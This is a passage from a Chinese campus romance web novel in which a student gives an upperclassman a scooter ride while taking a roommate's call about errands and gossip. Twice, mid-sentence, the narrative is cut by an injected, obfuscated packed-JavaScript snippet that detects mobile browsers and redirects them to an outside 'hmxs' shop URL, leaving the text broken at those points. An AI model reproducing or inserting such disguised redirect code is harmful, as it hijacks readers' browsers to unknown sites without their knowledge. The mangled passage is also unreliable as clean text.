涂栀芝潇洒地接过奶茶,又把这三杯都递给了在门外安静等着她回来的祝容蓄,侧身在包里找电动车钥匙。 祝容蓄垂眼看着她,一只手拎着奶茶,另一只手横在小电驴车把中间,小粉车停在他旁边看起来就跟小玩具车似的。 “走吧,先送你到北门。” 涂栀芝掏出钥匙解了锁,拿起那俩哆啦A梦和库洛米,一人一个,熟练地跨上小电驴倒车,将后座稳稳地停在了祝容蓄面前。 良久,后座并没有一沉的感觉。 涂栀芝不得已转着带了头盔的笨重脑袋看向祝容蓄,面露疑惑。 祝容蓄已经带好了头盔,即便是戴着这样少女心的头盔,也难掩护目透明镜下锋利而深邃的眉眼,倒更添了几分反差感的性张力,引得路过奶茶店的女生频频侧目。 但看到正在前面等他的涂栀芝和小粉车,女生们又只能按耐住自己蠢蠢欲动的上前搭讪的心思,反而觉得他们女带男的兜车搭配实在太过罕见。 “上车吧,来不及了。”涂栀芝说。 “这就要送我走了吗?” 涂栀芝:“?” 不走难道还要留在校园大道睡觉? 要不是他表情依然平淡,她差点以为他在撒娇。 饱受目光洗礼的涂栀芝有点顶不住,人来人往,压力山大,社恐的毛病又犯了,只好先退了半步。 “有什么话车上边走边说,咱现在在人家店门口,碍事。” 祝容蓄低头看向脚下宽广的柏油路和前坪能停得下几十辆车的小广场,“哦”了一声,心不甘情不愿地上了车。 没走多远,祝容蓄刚准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781337|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续开口,涂栀芝的手机就先一步响了。 是她给陈昔梦微信设置的专属铃声。 车在路上走着,也没时间在途中停留,涂栀芝还没来得及接,第一通电话铃声便结束了。 她以为陈昔梦等不及才打电话催她,想着加快车速回去就好,万一没接到也没什么问题。 但很快,第二通电话的铃声又响起来了,这次陈昔梦是直接用手机号码打来的。 估计是有什么要紧事,涂栀芝不得不接,她朝左边偏了偏头,微微颔首,大声说:“学长!麻烦帮我接个电话,手机就在我的上衣左口袋里面。” 她口袋里没什么乱七八糟的东西,祝容蓄伸手就找了手机出来,划开接听,打开扬声器贴在她的耳边。 陈昔梦零帧起手,开口就是一句国粹:“卧槽,我的老天奶,还好你接了,你现在还没到宿舍来吧?” 涂栀芝车速很快,耳边都是呼呼风声,扯高了嗓子大声回她:“还没,我还在路上,怎么了?” 陈昔梦松了半口气,赶紧说:“戚导让我带资料去阶梯教室来着,我下午睡过头把这事忘了,他刚刚催我才想起来,你从南苑回宿舍正好顺路,能不能帮我带一下啊,亲爱的吱吱吱!” 涂栀芝:“……” 就知道准没好事。 第一通电话铃响起的时候,她看到了计算机科学与技术学院那栋唯一的没有电梯却高耸屹立的院楼钟塔独苗。 第二通电话刚接通时,她恰好路过破旧的自行车棚,顺势抬眼看到七楼半的灯还亮着,感叹是哪路大神还在上面卷生卷死。 现在好了,她也得绕一个大弯折回去,脚动爬到院楼七楼半专业教室,成为莫名其妙卷王中的一员。 这不对吧姐们。 涂栀芝深吸一口气告诉自己现在还有外人在,得给姐妹留个面子不要乱破防,又计算起剩下的时间够不够趁开会前到达阶梯教室。 她实在不想在满堂学弟学妹的注视下打开大前门灰溜溜地窝到演讲学长区第一排。 同时又暗骂那该死的大教室为什么只有一个大前门,这消防通道他爹的合理吗? 但凡有人迟到都不好溜进去,面红耳赤尴尬得现场冒烟。 陈昔梦知道自己又闯了一祸,只能在涂大小姐面前低声下气求爷爷告奶奶。 “求你了吱吱吱!我知道那个破院楼没有电梯要人命,但你也不忍心看我被戚导揍对不对?” 作为导办助理,陈昔梦也很痛恨这古老的独苗院楼没电梯,别楼都有,怎么就它一座没连廊的偏偏没有? 奈何三番五次向学校提建议装电梯,都以“保持校园悠久历史风貌”为由被打回。 脚动爬七楼半,是建筑行业电梯标准的极限,也是一位普通女大学生一口气不停负重登高的极限。 涂栀芝嘴硬心软,面上不虞但行动诚实,随即调转车头,一个旋风漂移往计科院楼停车棚去。 祝容蓄坐在她的车后座,跟着她的动作一个神龙摆尾,差点没控制住扑她身上。 幸好他核心力量强,腰好,又这么硬生生地挺了回去。 14. 第 14 章 有话说时间就像海绵里的水,只要挤挤还是有的,但顶不住身边的人都开了烘干机。 不能帮她减轻负担就罢了,还非得都凑到一起给她出难题。 但陈昔梦也没亏待她,这不还想方设法在电话里多说几句,想给她解闷来着。 又听她突然神秘兮兮地压低了声音道:“对了,我有个瓜你听不听?” “什么玩意儿?”路上风大,那边声音小了,涂栀芝根本听不见。 反倒是祝容蓄坐在后边听得一清二楚,无意识地皱了皱眉。 大概是宿舍其他人回来了,只听到对面“哐当”一响关门声,陈昔梦的声音也随之变大了。 “我说——有瓜你吃不吃!!” 涂栀芝:“什么瓜?这季节还没西瓜吃吧?” 陈昔梦:“……” “你耳朵里塞棉花了?我天天戴耳机打游戏都没聋成你这样。” 涂栀芝好冤,实在是车速太快风太大,怎么听都很模糊啊。 这下也不管涂栀芝想不想听,陈昔梦总归是要说的,有话说听到了八卦不和姐妹分享讨论等于白听。 “虽然瓜主是咱不待见的人,但也没办法,谁让她幺蛾子多,瓜就多……” 涂栀芝嘴角抽了抽,再往后都不需要听到名字就知道,这大概又跟齐鸢有关。 果不其然,陈昔梦神神秘秘道:“刚出炉的热乎消息,齐鸢本来只是助理,但刚又临时加了个演讲,排在你前面。不过你放心,你还是最牛的大轴重磅戏。” 涂栀芝挑眉,不置可否。 祝容蓄坐在后面称职地当着手机支架,尽量降低自己的存在感。 陈昔梦:“你就不好奇她能讲些什么吗?” 涂栀芝有点冷漠地想,管她讲什么,反正再怎么样她的干货也比不了我,老娘出品的干货才是真实用。 再说她也没想非要和齐鸢比,于私于公都没必要,于私的过节也主要在俞止,齐鸢顶多算NPC,她不至于分不清主要矛盾而去抓着齐鸢这个细枝末节不放。 于公,齐鸢更比不过她,涂栀芝就是这么自信。 陈昔梦也不管她回不回,照样往下说,“本来齐鸢也跟我一样,只是导助去帮忙发资料的,没想到她还临时加考研经验分享了。真是好笑,要真比考研是不是还得看咱瑶姐?虽然还没复试,话不能太奶太绝,但瑶姐直接千军万马中硬刚清北,笔试第一,这谁看了不说一声佩服?齐鸢保研被媛媛压下去,后来临时报考本校的研,要说复试,确实谁都没她稳呢,怪不得这都敢上台。” 一般考研考本校本专业,难度都会比外校生简单不少,尤其笔试过了,复试只要不摆烂,有书读几乎是板上钉钉的事了,更何况是齐鸢这种尤其擅长和辅导员还有导师提前打通关系的人。 但都快毕业了,涂栀芝也不想再回忆这些年的恩恩怨怨,只说:“她乐意讲就讲吧。” 也不是谁都想接这个活。 她就是被戚睿诚逼的。 都说了她连保研都放弃了,现在连工作也没找到,去向未定,根本就像个反面教材。 但戚睿诚也不是真傻,虽然平时喜欢装蒜,实际上还是分得清涂栀芝在系内的绝对实力,绩点综测双第一的大佬,不请她请别人都差点意思。 最后,以勤工俭学计志愿时长并发工资外加请一顿饭,终于拐到了涂栀芝来演讲,简直耗了戚睿诚半管血。 见她毫不在意,陈昔梦放松了语气,说:“但反过来想,这也算是个好消息吧?” 涂栀芝不咸不淡:“你确定这对我来说是好消息?” 闻言,祝容蓄抓着手机的指节收紧,眼神暗了暗,无端又联想到前天晚上的对峙场景。 又听到对面声音清晰地说道:“好消息就是以我们涂学姐的实力,轻松一个平A都可以吊打现场所有人。无论是绩点还是竞赛,颜值还是身材,宝贝你就自信上台大放异彩,别想那么多,让那死渣男后悔去吧!” 涂栀芝心领她的好意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781338|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道她这通闭眼乱吹无非是想帮她放松心情建立信心,淡淡道:“行了,别瞎说这种大实话了,我知道我很牛逼。”长了眼的都有目共睹。 闻言,祝容蓄嘴角微微上扬。方才的胡思乱想一扫而空,目光里只剩她的背影。 陈昔梦笑了:“确实,有眼人都不瞎。” 一旦话题带到俞止,哪怕只是沾上一点,陈昔梦都立马进入战斗状态。 涂栀芝听她怼人有趣,笑了笑,但开小电驴也需要集中精神,于是说:“有什么事等会儿见了还能在会上摸鱼说,我先挂了啊。” “再聊一下嘛,怎么这次电话时间就这么短啊,是不是不爱了?”陈昔梦显然还想再说下去。 涂栀芝鸡皮疙瘩掉一路:“不想我一车两命的话就给我正常一点,这车上的还是你的牌。” 陈昔梦“嘶”了一声,哪来的“两命”? “你载着谁呢?” 涂栀芝选择性忽视不答:“挂了。” “诶,有什么不能说的,你在宁大的朋友还能有我不认识的?” 涂栀芝重复这两个字:“挂了。” “喂!” 听到对面如此抗议,祝容蓄拿着手机的手放也不是,缩也不是,只能提高声音向涂栀芝确认一句:“真的挂了?” 涂栀芝还是这两个字:“……挂了。” “嗯。”祝容蓄放下手机,活动着有些僵硬的肩膀。 但这瞬间却听到陈昔梦在电话那头语气空前激动震惊:“卧槽,我听到了什么,是男人的声音!我就说你小子今天下午突然急冲冲地找我借车准没好事,果然,金车藏娇了吧!等着,一会儿把人拉过来给我看看,我倒想知道是什么样的男人能成为全宇宙第一个有幸坐上我小粉车的男人!只闻新人笑,哪见旧人哭,你真是有了媳妇忘了娘啊吱吱吱!!” 祝容蓄眼睫颤了颤,指尖下意识一顿。 涂栀芝:“…………” 她再说最后一遍:“挂了!!”